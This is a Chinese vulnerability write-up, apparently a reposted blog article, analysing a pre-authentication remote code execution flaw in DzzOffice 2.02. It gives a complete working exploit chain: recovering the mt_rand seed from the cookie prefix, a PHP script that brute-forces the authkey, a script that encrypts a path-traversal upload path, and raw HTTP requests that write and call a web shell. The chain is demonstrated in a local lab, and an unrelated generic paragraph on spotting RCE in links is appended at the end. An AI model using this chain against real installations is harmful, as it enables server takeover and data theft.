某Office2.02前台RCE分析

声明

出品|先知社区(ID:H3h3QAQ)

以下内容,来自先知社区的H3h3QAQ作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

漏洞环境搭建

源代码下载地址

启动LAMP环境,将源码文件放入web目录下,访问浏览器访问web即可进入安装界面

图片

根据提示一直点击下一步即可,数据库信息如下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NJt8BEnM-1660544859344)(https://mmbiz.qpic.cn/mmbiz_png/Bsj96JurMJaYVZqwNy59wlibomq3npG26w80f7WIyFRQZLsdHkciagYC5lvdaibb9yyOgZ0s0wv6bL52tjygVxP4w/640?wx_fmt=png)]

管理员信息如下:

图片

提示如下信息,安装成功

图片

访问admin.php?mod=setting&operation=sec,检查验证码是否设置成功,这里一定要开启用户登录的验证码,不开启后续没有办法获取到想要的Cookie

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-48hu0Kgs-1660544859345)(https://mmbiz.qpic.cn/mmbiz_png/Bsj96JurMJaYVZqwNy59wlibomq3npG26xR9urmiaZfTIGNqP6jpjcZDuuFVnSK1IE7wKhevmobVOoq46f01yoLw/640?wx_fmt=png)]

漏洞原理分析

random种子固定

漏洞产生的关键点在install/index.php,这个文件在完成安装之后会被自动删除,但是漏洞的作者,很细心的在这里发现了问题,这也提示我们不要忽略任何一个文件。

定位到相关代码片段

$uid = 1 ;       
 $authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);        $_config['db'][1]['dbhost'] = $dbhost;        
 $_config['db'][1]['dbname'] = $dbname;        
 $_config['db'][1]['dbpw'] = $dbpw;        
 $_config['db'][1]['dbuser'] = $dbuser;        
 $_config['db'][1]['port'] = $port?$port:'3306';        
 $_config['db'][1]['tablepre'] = $tablepre;        
 $_config['admincp']['founder'] = (string)$uid;        
 $_config['security']['authkey'] = $authkey;        
 $_config['cookie']['cookiepre'] = random(4).'_';       
 $_config['memory']['prefix'] = random(6).'_';

这里的authkey和Cookie前缀都是调用random()函数生成了一部分

  • authkey:前6位是一堆变量md5后截取出来的,后十位是random函数生成的

  • Cookie:前四位是random的生成的

跟进random(),该函数位于

install/include/install_function.php:

function random($length) {    
$hash = '';    
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';    $max = strlen($chars) - 1;    
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);    
for($i = 0; $i < $length; $i++) {        
$hash .= $chars[mt_rand(0, $max)];    
}    
return $hash;
}

这里的random()函数,跟修复随机数安全问题前的Discuz一模一样,没有重新播种,所有随机数都是通过同一个种子生成出来的

一个小知识点:

  • 在PHP4.2.0之前的版本,必须要通过srand()或mt_srand()给rand()或mt_rand()播种

  • 在PHP4.2.0之后的版本,事先可以不再通过srand()或mt_srand()播种. 如直接调用mt_rand(),系统会自动播种

  • 系统会自动播种,系统播种种子范围为0-2^32(32位系统),这样似乎也能枚举

  • PHP_VERSION<‘4.2.0’&&mt_srand((double)microtime()* 1000000);

    这段代码是为了版本兼容写的

我们可以利用如下固定了种子的值得Demo做测试:

function random($length) {    
$hash = '';    
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';    $max = strlen($chars) - 1;    
PHP_VERSION < '4.2.0' && mt_srand(123456);    
mt_srand(123456);    
for($i = 0; $i < $length; $i++) {        
$hash .= $chars[mt_rand(0, $max)];  
  }    
  return $hash;
  }
  echo random(10);

图片

我们可以得出结论在同一进程中,同一个seed,每次通过mt_rand()生成的值都是固定的

通过Cookie获取种子

由于这里的Cookie前缀是我们可以获取到的,所以我们可以跑一遍PHP的所有的种子,得到11-14 位对应的随机数序列所对应的随机字符,判断是否为我们的Cookie前缀。这样就能获取所有随机可能的种子

再通过所有可能的随机数种子生成第1-10位对应的随机字符,这样就可以拿到authkey[-10],至于前6位只能选择爆破

这样的话我们就能获得很多组可能的authkey

这样的话要解决两个问题:

  • authkey有什么作用

  • 如何验证authkey的正确性

authkey的作用

这个系统大量套用Discuz的代码,因此authkey和Discuz里面的效果一样,在一种流算法authcode()中使用的key,来加密一些重要的参数。这也就意味着,只要能够拿到这个authkey我们就能,传入我们需要的参数。

验证authkey的正确性

通过全局搜索可以找到一处authcode()可控明文点,且加密之后的数据能够被获取到。文件core/function/function_seccode.php

代码片段如下:

dsetcookie('seccode'.$idhash, 
authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);

这里设置了一个cookie,密文是用 authkey生成的,并且密文可以被得到,利用这里的cookie即可验证authkey的正确性。

完整爆破authkey流程

  1. 通过cookie前缀爆破随机数的seed,使用php_mt_seed工具。

  2. 用seed生成random(10),得到所有可能的authkey后缀。

  3. 查看Cookie,获取$idhash,和对应的密文

  4. 用生成的后缀爆破前6位,范围是0x000000-0xffffff,解密密文观察是否正确

  5. 将计算出来的密文和获取的密文比较,相等即停止,获取当前的authkey。

漏洞利用验证

得到authkey

Cookie前缀我们很容易得到

图片

利用如下脚本获得php_mt_seed可以处理格式的数据

w_len = 10result = ""str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"length = len(str_list)for i in range(w_len):
    result += "0 "
    result += str(length-1)
    result += " "
    result += "0 "
    result += str(length - 1)
    result += " "sstr = "gGyk"for i in sstr:
    result += str(str_list.index(i))
    result += " "
    result += str(str_list.index(i))
    result += " "
    result += "0 "
    result += str(length - 1)
    result += " "print(result)result:0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 42 42 0 61 6 6 0 61 60 60 0 61 46 46 0 61

生成可能的种子文件:

图片

使用如下脚本处理暴力爆破,验证idhash即可

$pre = 'gGyk';$seccode = substr('gGyk_2132_seccodeST09ZLe0', -8);$string = '2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0';$seeds = explode("\n", file_get_contents('seed.txt'));for ($i = 0; $i < count($seeds); $i++) {    if(preg_match('/= (\d+) /', $seeds[$i], $matach)) {        mt_srand(intval($matach[1]));        $authkey = random(10);        echo $authkey;        if(random(4) == $pre){            echo "trying $authkey...\n";            $res = crack($string, $authkey, $seccode);            if($res) {                echo "authkey found: ".$res;                exit();            }        }    }}function crack($string, $authkey, $seccode) {    $chrs = '1234567890abcdef';    for ($a = 0; $a < 16; $a++) {        for ($b = 0; $b < 16; $b++) {            for ($c = 0; $c < 16; $c++) {                for ($d = 0; $d < 16; $d++) {                    for ($e = 0; $e < 16; $e++) {                        for ($f = 0; $f < 16; $f++) {        
        $key 
        $chrs[$a].$chrs[$b].$chrs[$c].$chrs[$d].$chrs[$e].$chrs[$f].$authkey;                            $result = authcode_decode($string, $key);                            if (strpos($result, "\t$seccode\t")) {                                return $key;                            }                        }                    }                }            }        }    }    return false;}function authcode_decode($string, $key) {    $key = md5($key);    $ckey_length = 4;    $keya = md5(substr($key, 0, 16));    $keyc = substr($string, 0, $ckey_length);    $cryptkey = $cryptkey = $keya . md5($keya . $keyc);    $key_length = strlen($cryptkey);    $string =
        base64_decode(substr(str_replace(array('_', '-'), array('/', '+'), $string), $ckey_length));    $string_length = strlen($string);    $result = '';    $box = range(0, 255);    $rndkey = array();    for ($i = 0; $i <= 255; $i++) {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);    }    for ($j = $i = 0; $i < 256; $i++) {        $j = ($j + $box[$i] + $rndkey[$i]) % 256;        $tmp = $box[$i];        $box[$i] = $box[$j];        $box[$j] = $tmp;    }    for ($a = $j = $i = 0; $i < $string_length; $i++) {        $a = ($a + 1) % 256;        $j = ($j + $box[$a]) % 256;        $tmp = $box[$a];        $box[$a] = $box[$j];     
      $box[$j] = $tmp;        
      $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));    }    return $result;}function random($length) {    $hash = '';    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';    $max = strlen($chars) - 1;    for($i = 0; $i < $length; $i++) {        $hash .= $chars[mt_rand(0, $max)];    }    return $hash;}

图片

最终可以得到authkey,3ccd48TRC0BU9NnD

文件上传点

拿到authKey之后,全局搜索dzzdecode(能找到很多的利用点。这里演示一个文件上传的利用。

在core/api/wopi/index.php中:

图片

跟进Wopi::PUTFile:

调用IO::SetFileContent跟进:

跟进self::clean:

图片

这里将\n,\r,…/替换为空,可以使用…/./绕过

回头跟进self::initIO:

根据Path的值实例化类

回到开始的PUTFile,Content获取php://input也就是POST数据流,Path采用流式加密,GET获取,也是可控的,这样直接上传文件即可

使用脚本加密Path

function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){$ckey_length = 4;$key = md5($key);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ?
$expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp =
$box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0,
16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64_encode($result));}}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3ccd48TRC0BU9NnD'),'ENCODE'));

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Uc6xNFRe-1660544859348)(https://mmbiz.qpic.cn/mmbiz_png/Bsj96JurMJaYVZqwNy59wlibomq3npG26f7jvGa7oIgcjkFBzHl9AK1zIjSBVHS245lVEEuJIkfXelpf8btBZiaw/640?wx_fmt=png)]

构造数据包

POST /dzz/core/api/wopi/index.php?access_token=1&action=contents&path=Y2RhNUl5N09ZVW8vaGNkV0tEcU1qZzc0bGtLWGlIVXZEdjY3eUxmaXFiR3k1VDhtNUJXSFZnZHF1Y3I1VGZCcmtDNXljVGJaMVFnSWlNVENzR1U= HTTP/1.1
Host: localhost
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
<?php phpinfo();?>

图片

访问根目录的shell.php即可RCE

POST /dzz/shell.php HTTP/1.1
Host: localhost
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
<?php phpinfo();?>

总结

  • DzzOffice大量借用dizcus的代码,导致产生了相同的问题,即随机数种子可爆破,最终得到authkey,最终利用密码,加密参数进行RCE。

  • 漏洞产生点在install/index.php这个目录在安装之后就会被删除,因此在做代码审计过程中,应该注意任何一个文件

  • 不应该只有着一种漏洞,大量借用dizcus代码,后续可以通过该思路,寻找dizcus的历史漏洞,对该系统就行漏洞挖掘

  • 在复现该漏洞时在该项目的github的Issus里发现一处有意思的点:

图片

感觉非常突兀,由于defined的限制,页面没法直接访问,但是要是能绕过Defend,是不是能直接前台文件包含呢,这样的话,我们利用远程文件包含,是不是就可以RCE?我不太明白这里代码的作用,也就没有深入的去挖掘,但是感觉很有利用的可能。

参考链接

  • https://github.com/zyx0814/dzzoffice/issues/137

  • https://www.anquanke.com/post/id/86679

  • https://www.cnblogs.com/KHZ521/p/14662410.html#0x02

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
分析一个连接是否包含远程命令执行(Remote Code Execution,RCE),可以采取以下步骤: 1. 观察链接:首先,仔细观察链接的来源和目标。检查链接是否包含可疑的域名、IP 地址或路径。如果链接看起来不正常或来自不可信的来源,可能存在潜在的风险。 2. 分析协议:查看链接所使用的协议。如果链接采用HTTP、FTP等不安全的协议,可能存在安全风险。HTTPS 或 SFTP 这类安全加密协议更安全可靠。 3. 检查参数:检查链接中的参数和查询字符串。特别注意参数是否允许用户输入,以及是否存在任意代码执行的风险。如果参数不受限制,攻击者可以通过构造特定的输入来实现远程命令执行。 4. 分析目标页面:如果链接指向一个页面,仔细审查页面的内容。检查页面中是否包含用户输入的位置,例如表单或输入框,并检查是否存在代码执行的漏洞。 5. 进行安全测试:对链接进行安全测试,以尝试找出潜在的漏洞。可以使用开源工具如W3af、Nikto、Burp Suite等,对链接进行漏洞扫描和代码审计。这些工具可以自动检测常见的安全问题,包括RCE漏洞。 6. 参考安全咨询:查看相关的安全咨询和漏洞报告。许多机构和安全研究人员会公开披露已知的漏洞和攻击技术,这些信息可供参考,帮助分析链接是否存在RCE风险。 总之,分析链接是否含有RCE需要结合多个因素进行综合判断,包括链接的来源、协议、参数、目标页面和安全测试等。在分析过程中保持警惕,并参考已知的安全信息,以避免遭受远程命令执行等安全风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值